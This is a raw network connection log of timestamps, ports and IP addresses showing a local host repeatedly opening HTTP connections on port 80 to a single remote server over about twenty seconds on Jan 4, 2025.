Jan 4, 2025 13:38:57.718566895 CET	50902	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:57.800360918 CET	50901	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:57.800460100 CET	50902	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:57.801083088 CET	50903	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:57.805351019 CET	80	50901	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:57.805399895 CET	50901	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:57.805620909 CET	80	50902	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:57.805663109 CET	50902	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:57.805912971 CET	80	50903	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:57.805969954 CET	50903	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:57.806071997 CET	50903	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:57.810852051 CET	80	50903	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:58.156276941 CET	50903	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:58.161231995 CET	80	50903	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:58.161242962 CET	80	50903	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:58.161252975 CET	80	50903	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:58.558898926 CET	80	50903	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:58.609205008 CET	50903	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:58.692712069 CET	80	50903	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:58.734200954 CET	50903	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:58.808165073 CET	50903	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:58.808487892 CET	50904	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:58.813302994 CET	80	50903	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:58.813338041 CET	80	50904	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:58.813427925 CET	50903	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:58.813437939 CET	50904	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:58.813607931 CET	50904	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:58.818439960 CET	80	50904	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:59.173044920 CET	50904	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:59.202965975 CET	50904	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:59.275021076 CET	80	50904	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:59.275127888 CET	80	50904	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:59.275211096 CET	80	50904	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:59.275219917 CET	80	50904	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:59.504252911 CET	80	50904	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:59.562344074 CET	50904	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:59.634756088 CET	80	50904	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:59.687347889 CET	50904	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:59.769056082 CET	50904	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:59.769531965 CET	50905	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:59.774161100 CET	80	50904	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:59.774233103 CET	50904	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:59.774390936 CET	80	50905	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:59.774477959 CET	50905	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:59.774636984 CET	50905	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:59.779352903 CET	80	50905	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:00.124993086 CET	50905	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:00.129923105 CET	80	50905	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:00.129935026 CET	80	50905	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:00.129944086 CET	80	50905	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:00.466247082 CET	80	50905	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:00.515450954 CET	50905	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:00.596472979 CET	80	50905	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:00.640466928 CET	50905	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:00.715327024 CET	50905	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:00.715353966 CET	50906	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:00.720181942 CET	80	50906	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:00.720324993 CET	80	50905	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:00.720407009 CET	50905	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:00.720418930 CET	50906	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:00.720546961 CET	50906	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:00.725302935 CET	80	50906	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:01.078047991 CET	50906	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:01.083292961 CET	80	50906	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:01.083306074 CET	80	50906	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:01.083338022 CET	80	50906	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:01.408138990 CET	80	50906	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:01.452970982 CET	50906	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:01.540311098 CET	80	50906	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:01.593583107 CET	50906	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:01.674361944 CET	50906	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:01.674668074 CET	50907	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:01.679526091 CET	80	50906	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:01.679539919 CET	80	50907	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:01.679578066 CET	50906	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:01.679646015 CET	50907	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:01.679757118 CET	50907	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:01.684525967 CET	80	50907	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:02.031395912 CET	50907	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:02.036402941 CET	80	50907	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:02.036417007 CET	80	50907	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:02.036427021 CET	80	50907	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:02.388132095 CET	80	50907	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:02.437338114 CET	50907	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:02.524148941 CET	80	50907	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:02.549702883 CET	50908	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:02.554497004 CET	80	50908	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:02.554554939 CET	50908	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:02.554708958 CET	50908	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:02.559474945 CET	80	50908	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:02.585617065 CET	50907	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:02.655689955 CET	50909	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:02.660547018 CET	80	50909	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:02.660600901 CET	50909	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:02.660726070 CET	50909	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:02.665505886 CET	80	50909	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:02.909070969 CET	50908	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:02.914027929 CET	80	50908	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:02.914073944 CET	80	50908	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.015541077 CET	50909	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.020476103 CET	80	50909	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.020488977 CET	80	50909	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.020498991 CET	80	50909	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.299494982 CET	80	50908	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.343918085 CET	50908	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.360025883 CET	80	50909	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.408124924 CET	50909	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.430290937 CET	80	50908	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.488496065 CET	80	50909	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.517040014 CET	50908	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.531084061 CET	50909	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.603727102 CET	50908	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.603725910 CET	50907	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.603851080 CET	50909	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.604188919 CET	50910	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.608783007 CET	80	50908	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.608953953 CET	50908	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.608993053 CET	80	50910	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.609123945 CET	50910	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.609153032 CET	80	50907	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.609186888 CET	50910	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.609188080 CET	80	50909	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.609210968 CET	50907	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.609321117 CET	50909	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.613909006 CET	80	50910	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.968720913 CET	50910	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:03.973712921 CET	80	50910	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.973725080 CET	80	50910	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:03.973733902 CET	80	50910	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:04.317867994 CET	80	50910	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:04.359219074 CET	50910	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:04.450319052 CET	80	50910	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:04.499839067 CET	50910	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:04.583035946 CET	50911	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:04.587896109 CET	80	50911	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:04.587970972 CET	50911	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:04.588069916 CET	50911	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:04.592880964 CET	80	50911	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:04.941035032 CET	50911	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:04.945960999 CET	80	50911	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:04.945977926 CET	80	50911	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:04.945986986 CET	80	50911	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:05.274252892 CET	80	50911	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:05.404227972 CET	80	50911	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:05.405184031 CET	50911	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:05.526035070 CET	50911	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:05.526043892 CET	50912	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:05.530905008 CET	80	50912	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:05.531027079 CET	80	50911	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:05.533097982 CET	50911	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:05.533101082 CET	50912	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:05.533246040 CET	50912	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:05.538074017 CET	80	50912	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:05.890703917 CET	50912	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:05.895623922 CET	80	50912	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:05.895639896 CET	80	50912	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:06.241601944 CET	80	50912	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:06.312349081 CET	50912	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:06.374304056 CET	80	50912	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:06.421720028 CET	50912	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:06.497627020 CET	50912	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:06.498150110 CET	50913	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:06.502890110 CET	80	50912	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:06.502958059 CET	50912	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:06.502962112 CET	80	50913	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:06.503062010 CET	50913	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:06.503289938 CET	50913	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:06.508043051 CET	80	50913	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:06.861361980 CET	50913	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:06.866231918 CET	80	50913	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:06.866244078 CET	80	50913	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:06.866254091 CET	80	50913	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:07.219691992 CET	80	50913	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:07.267019033 CET	50913	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:07.352050066 CET	80	50913	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:07.409142971 CET	50913	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:07.462598085 CET	50910	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:07.463109970 CET	50913	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:07.463114977 CET	50914	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:07.468750954 CET	80	50914	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:07.468879938 CET	80	50913	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:07.468955040 CET	50913	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:07.468959093 CET	50914	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:07.469091892 CET	50914	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:07.473819971 CET	80	50914	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:07.828064919 CET	50914	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:07.832931042 CET	80	50914	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:07.832942009 CET	80	50914	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:07.832952023 CET	80	50914	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.164160013 CET	80	50914	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.218583107 CET	50914	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.298377991 CET	80	50914	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.343588114 CET	50914	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.418940067 CET	50914	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.419219971 CET	50915	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.423968077 CET	80	50914	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.424012899 CET	50914	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.424031973 CET	80	50915	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.424088955 CET	50915	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.424164057 CET	50915	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.428936005 CET	80	50915	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.437956095 CET	50915	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.438236952 CET	50916	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.443010092 CET	80	50916	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.443098068 CET	50916	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.443176985 CET	50916	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.447917938 CET	80	50916	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.487767935 CET	80	50915	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.561105013 CET	50917	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.566025972 CET	80	50917	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.566083908 CET	50917	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.566220045 CET	50917	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.571031094 CET	80	50917	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.797036886 CET	50916	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.801951885 CET	80	50916	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.801965952 CET	80	50916	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.918463945 CET	80	50915	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.921407938 CET	50915	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.925038099 CET	50917	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:08.929872990 CET	80	50917	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.929883003 CET	80	50917	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:08.929889917 CET	80	50917	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:09.129817009 CET	80	50916	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:09.187402964 CET	50916	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:09.247946978 CET	80	50917	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:09.258677959 CET	80	50916	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:09.312525034 CET	50916	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:09.312525034 CET	50917	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:09.378689051 CET	80	50917	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:09.494668007 CET	50916	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:09.494669914 CET	50917	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:09.494888067 CET	50918	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:09.499665022 CET	80	50917	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:09.499676943 CET	80	50918	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:09.499773979 CET	50917	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:09.499777079 CET	50918	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:09.499969959 CET	80	50916	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:09.500066042 CET	50918	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:09.500077963 CET	50916	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:09.504885912 CET	80	50918	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:09.859523058 CET	50918	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:09.864465952 CET	80	50918	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:09.864478111 CET	80	50918	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:09.864481926 CET	80	50918	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:10.208565950 CET	80	50918	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:10.306087017 CET	50918	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:10.344296932 CET	80	50918	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:10.344542027 CET	50918	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:10.349555969 CET	80	50918	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:10.349615097 CET	50918	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:10.468998909 CET	50919	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:10.474015951 CET	80	50919	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:10.474088907 CET	50919	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:10.474241018 CET	50919	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:10.479005098 CET	80	50919	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:10.828210115 CET	50919	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:10.833177090 CET	80	50919	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:10.833189964 CET	80	50919	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:10.833199024 CET	80	50919	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:11.192017078 CET	80	50919	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:11.251025915 CET	50919	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:11.328357935 CET	80	50919	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:11.375029087 CET	50919	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:11.448692083 CET	50919	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:11.448708057 CET	50920	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:11.453739882 CET	80	50920	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:11.453829050 CET	80	50919	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:11.455156088 CET	50919	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:11.455168962 CET	50920	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:11.455168962 CET	50920	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:11.460010052 CET	80	50920	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:11.812438011 CET	50920	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:11.817395926 CET	80	50920	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:11.817408085 CET	80	50920	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:11.817416906 CET	80	50920	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:12.156596899 CET	80	50920	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:12.218602896 CET	50920	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:12.292403936 CET	80	50920	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:12.359409094 CET	50920	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:12.421441078 CET	50920	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:12.422265053 CET	50921	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:12.426397085 CET	80	50920	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:12.426445961 CET	50920	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:12.427094936 CET	80	50921	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:12.427153111 CET	50921	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:12.427295923 CET	50921	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:12.432071924 CET	80	50921	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:12.781189919 CET	50921	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:12.786072969 CET	80	50921	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:12.786083937 CET	80	50921	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:12.786092997 CET	80	50921	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:13.105792046 CET	80	50921	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:13.156132936 CET	50921	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:13.238575935 CET	80	50921	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:13.281097889 CET	50921	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:13.353569031 CET	50921	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:13.355063915 CET	50922	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:13.358611107 CET	80	50921	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:13.359914064 CET	80	50922	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:13.359946012 CET	50921	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:13.365381956 CET	50922	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:13.365464926 CET	50922	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:13.370234966 CET	80	50922	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:13.718713999 CET	50922	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:13.723759890 CET	80	50922	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:13.723772049 CET	80	50922	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:13.723781109 CET	80	50922	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:14.054908037 CET	80	50922	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:14.109225035 CET	50922	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:14.182420969 CET	80	50922	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:14.234242916 CET	50922	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:14.266423941 CET	50922	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:14.266668081 CET	50923	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:14.271507025 CET	80	50922	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:14.271518946 CET	80	50923	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:14.271555901 CET	50922	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:14.271591902 CET	50923	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:14.271687031 CET	50923	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:14.276443958 CET	80	50923	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:14.313802958 CET	50924	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:14.314049006 CET	50923	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:14.318591118 CET	80	50924	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:14.318644047 CET	50924	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:14.318886995 CET	50924	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:14.323668003 CET	80	50924	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:14.363867998 CET	80	50923	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:14.671821117 CET	50924	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:14.676789045 CET	80	50924	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:14.676801920 CET	80	50924	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:14.676810980 CET	80	50924	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:14.752569914 CET	80	50923	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:14.755307913 CET	50923	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:15.016957998 CET	80	50924	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:15.063030958 CET	50924	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:15.150306940 CET	80	50924	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:15.203032970 CET	50924	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:15.279033899 CET	50924	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:15.279038906 CET	50925	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:15.283909082 CET	80	50925	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:15.284209013 CET	80	50924	62.109.6.177	192.168.2.4
